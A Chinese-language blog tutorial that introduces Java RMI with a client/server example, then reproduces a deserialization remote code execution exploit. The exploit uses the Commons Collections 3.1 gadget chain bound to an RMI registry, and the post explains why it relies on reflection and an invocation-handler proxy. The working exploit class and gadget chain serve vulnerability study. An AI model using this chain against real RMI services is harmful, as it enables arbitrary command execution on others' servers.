目录

一、RMI简介

二、RMI示例

三、漏洞复现

四、漏洞分析

1、为什么这里的badAttributeValueExpException对象是通过反射构造,而不是直接声明?

2、为什么不直接将badAttributeValueExpException对象bind到RMI服务?


一、RMI简介

首先看一下RMI在wikipedia上的描述:

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

换句话说,使用RMI是为了不同JVM虚拟机的Java对象能够更好地相互调用,就像调用本地的对象一样。RMI为了隐藏网络通信过程中的细节,使用了代理方法。如下图所示,在客户端和服务器各有一个代理,客户端的代理叫Stub,服务端的代理叫Skeleton。代理都是由服务端产生的,客户端的代理是在服务端产生后动态加载过去的。当客户端通信是只需要调用本地代理传入所调用的远程对象和参数即可,本地代理会对其进行编码,服务端代理会解码数据,在本地运行,然后将结果返回。在RMI协议中,对象是使用序列化机制进行编码的。

我们可以将客户端存根编码的数据包含以下几个部分:

  • 被使用的远程对象的标识符
  • 被调用的方法的描述
  • 编组后的参数

当请求数据到达服务端后会执行如下操作:

  1. 定位要调用的远程对象
  2. 调用所需的方法,并传递客户端提供的参数
  3. 捕获返回值或调用产生的异常。
  4. 将返回值编组,打包送回给客户端存根

客户端存根对来自服务器端的返回值或异常进行反编组,其结果就成为了调用存根返回值。

二、RMI示例

接下来我们编写一个RMI通信的示例,使用IDEA新建一个Java项目,代码结构如下:

Client.java

package client;import service.Hello;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Scanner;public class Client {public static void main(String[] args) throws Exception{// 获取远程主机上的注册表Registry registry=LocateRegistry.getRegistry("localhost",1099);String name="hello";// 获取远程对象Hello hello=(Hello)registry.lookup(name);while(true){Scanner sc = new Scanner( System.in );String message = sc.next();// 调用远程方法hello.echo(message);if(message.equals("quit")){break;}}}
}

Server.java

package server;import service.Hello;
import service.impl.HelloImpl;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class Server {public static void main(String[] args) throws Exception{String name="hello";Hello hello=new HelloImpl();// 生成StubUnicastRemoteObject.exportObject(hello,1099);// 创建本机 1099 端口上的RMI registryRegistry registry=LocateRegistry.createRegistry(1099);// 对象绑定到注册表中registry.rebind(name, hello);}
}

Hello.java

package service;import java.rmi.Remote;
import java.rmi.RemoteException;public interface Hello extends Remote {public String echo(String message) throws RemoteException;
}

HelloImpl

package service.impl;import service.Hello;import java.rmi.RemoteException;public class HelloImpl implements Hello {@Overridepublic String echo(String message) throws RemoteException {if("quit".equalsIgnoreCase(message.toString())){System.out.println("Server will be shutdown!");System.exit(0);}System.out.println("Message from client: "+message);return "Server response:"+message;}
}

先运行Server,然后运行Client,然后即可进行Server与Client的通信

三、漏洞复现

RMI反序列化漏洞的存在必须包含两个条件:

  1. 能够进行RMI通信
  2. 目标服务器引用了第三方存在反序列化漏洞的jar包

注:复现的时候需要JDK8 121以下版本,121及以后加了白名单限制,

这里我们以Apache Commons Collections反序列化漏洞为例,使用的版本为commons-collections.jar 3.1,这里有对其原理的分析。然后新建一个漏洞利用的类RMIexploit

package client;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;public class RMIexploit {public static void main(String[] args) throws Exception {// 远程RMI Server的地址String ip = "127.0.0.1";int port = 1099;// 要执行的命令String command = "calc";final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] {String.class, Class[].class },new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class },new Object[] { command }),new ConstantTransformer(1) };Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(badAttributeValueExpException, entry);String name = "pwned"+ System.nanoTime();Map<String, Object> map = new HashMap<String, Object>();map.put(name, badAttributeValueExpException);// 获得AnnotationInvocationHandler的构造函数Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];cl.setAccessible(true);// 实例化一个代理InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);Remote remote = Remote.class.cast(object);Registry registry=LocateRegistry.getRegistry(ip,port);registry.bind(name, remote);}
}

然后执行RMIexploit

四、漏洞分析

其实RMI反序列化的POC比Apache Commons Collections反序列化漏洞的POC只是多了RMI的通信步骤,不过这里有几个问题需要专门解释下。

1、为什么这里的badAttributeValueExpException对象是通过反射构造,而不是直接声明?

代码中我们用以下四行反射的方式构造badAttributeValueExpException对象

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(badAttributeValueExpException, tiedMapEntry);

而不是直接声明的呢

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

要知道BadAttributeValueExpException的构造函数就是给val遍变量赋值

public BadAttributeValueExpException (Object val) {this.val = val == null ? null : val.toString();
}

但是仔细看这个构造函数,当val不为空的时候,是将val.toString()赋值给this.val,因此这样直接声明的话会直接通过toString()触发命令执行。但是在真正反序列化的时候,由于val变成了String类型,就会造成漏洞无法触发。

2、为什么不直接将badAttributeValueExpException对象bind到RMI服务?

执行bind操作需要对象类型为Remote,这里BadAttributeValueExpException无法直接转换为Remote类型,因此需要将其封装在AnnotationInvocationHandler里面。在这个Poc中只要是继承了InvocationHandler的动态代理类都可以,比如我们自定义以下类

package client;import javax.management.BadAttributeValueExpException;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;public class PocHandler implements InvocationHandler, Serializable {private BadAttributeValueExpException ref;protected PocHandler(BadAttributeValueExpException newref) {ref = newref;}//    @Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {return method.invoke(this.ref, args);}
}

Poc代码动态代理声明一行改为

Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));

反序列化过程是递归的,封装在InvocationHandler中badAttributeValueExpException也会执行反序列化操作,因此也能够触发命令执行。但是有些Poc的写法就必须要用sun.reflect.annotation.AnnotationInvocationHandler这个类,因为是利用AnnotationInvocationHandler反序列化过程中readObject函数对map对象的set操作来实现命令执行的,set操作会导致transform操作,使得整个调用链触发。

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}

我本地版本jdk的AnnotationInvocationHandler没有set操作,因此一开始就借助BadAttributeValueExpException进行漏洞触发。

java rmi反序列化漏洞 简介相关推荐

  1. Java Hessian反序列化漏洞

    漏洞简介 Hessian是一个轻量级的remoting onhttp工具,是一个轻量级的Java序列化/反序列化框架,使用简单的方法提供了RMI的功能. 相比WebService,Hessian更简单 ...

  2. Java RMI反序列化/JEP290相关

    RMI 远程过程调用 (Remote Procedure Call)是一种服务器-客户端模式, Java的RMI(Remote Method Invocation)是一种RPC实现. 其基本思想是程序 ...

  3. linux反序列化漏洞,Apache Camel Java对象反序列化漏洞(CVE-2015-5348)

    Apache Camel Java对象反序列化漏洞(CVE-2015-5348) 发布日期:2015-12-15 更新日期:2015-12-18 受影响系统:Apache Group Camel 描述 ...

  4. php反序列化漏洞实验,PHP反序列化漏洞简介及相关技巧小结

    原标题:PHP反序列化漏洞简介及相关技巧小结 *严正声明:本文仅限于技术讨论与分享,严禁用于非法途径 要学习PHP反序列漏洞,先了解下PHP序列化和反序列化是什么东西. php程序为了保存和转储对象, ...

  5. java 反序列化漏洞简介

    目录 一.Java的序列化与反序列化 二.对java序列化的理解 三.反序列化的漏洞原理概述 四.关于反射链 一.Java的序列化与反序列化 在这里我们直接自己定义一个类,然后对这个类的对象(一个实例 ...

  6. rmi 反序列化漏洞_提醒:Apache Dubbo存在反序列化漏洞

    背景: 近日监测到Apache Dubbo存在反序列化漏洞(CVE-2019-17564),此漏洞可导致远程代码执行.Apache Dubbo是一款应用广泛的高性能轻量级的Java RPC分布式服务框 ...

  7. rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)

    一.反序列化的原理及特点 1.什么是反序列化 序列化就是把java类转换成字节流,xml数据.json格式数据等: 反序列化就是把字节流,xml数据.json格式数据转换回java类. 2.反序列化漏 ...

  8. rmi 反序列化漏洞_写一个rmi反序列化工具

    RMI(java 远程方法调用),RMI服务端和客户端之间通过序列化对象进行传输,所以JDK8 U121之前的版本存在反序列化漏洞.RMI和java反序列化原理就不详细介绍了.RMI反序列化利用成功的 ...

  9. 网络安全-反序列化漏洞简介、攻击与防御

    目录 简介 PHP序列化 Python序列化 攻击 PHP举例 Python举例 防御 参考 简介 各种语言都有反序列化漏洞,Java.PHP.Python等.序列化即将对象转化为字节流,便于保存在文 ...

最新文章

  1. 理解和实现分布式TensorFlow集群完整教程
  2. 谢文睿:西瓜书 + 南瓜书 吃瓜系列 9. 集成学习(上)
  3. iOS macOS的后渗透利用工具:EggShell
  4. OTT交付如何超越传统广电交付,为用户带来高质量视频网络——对话Synamedia流媒体技术发展经理卢彦林...
  5. HDOJ 1047 Integer Inquiry
  6. 2021年河南省高考成绩位次查询,2021年河南高考分数一分一段位次表,河南高考个人成绩排名查询方法...
  7. Skype 释出新的 Linux 客户端
  8. 漫画:为什么生僻字计算机上打不出来,或者打出来也无法显示呢?
  9. linux gettimeofday()函数
  10. sublime批量添加注释
  11. VC知识库人物专访:搜狗CEO兼任搜狐CTO王小川
  12. PMP备考资料和备考经验分享(基于PMP第六版)
  13. Redfish 模型工具:Redfish Mockup Creator 和 Redfish Mockup Server
  14. java省市区树_Java后台以树形结构返回省市区三级区域信息
  15. 信号量机制实现进程的互斥、同步、前驱
  16. crash report for adobe photoshop cc 2019
  17. 代码性能优化--NENO编程
  18. oracle添加唯一约束
  19. 这是一份价值上千的python数据分析实战
  20. 自己定义控件事实上非常easy1/6

热门文章

  1. mysql 多表 三表 删除_mysql 多表join查询索引优化
  2. 数据中心网络架构 — 传统数据中心网络 — 胖树型三层网络架构
  3. Overlay 网络 — VxLAN 虚拟可扩展局域网协议
  4. 分布式系统架构设计系列文章
  5. 5G — 3 大场景、8 大 KPI
  6. 使用Devstack部署neutron网络节点
  7. BC26通过LWM2M协议连接ONENET,AT流程,STM32代码
  8. C语言处理字符串及内存操作
  9. 成长型思维模式Not yet
  10. 关于iOS7以后版本号企业公布问题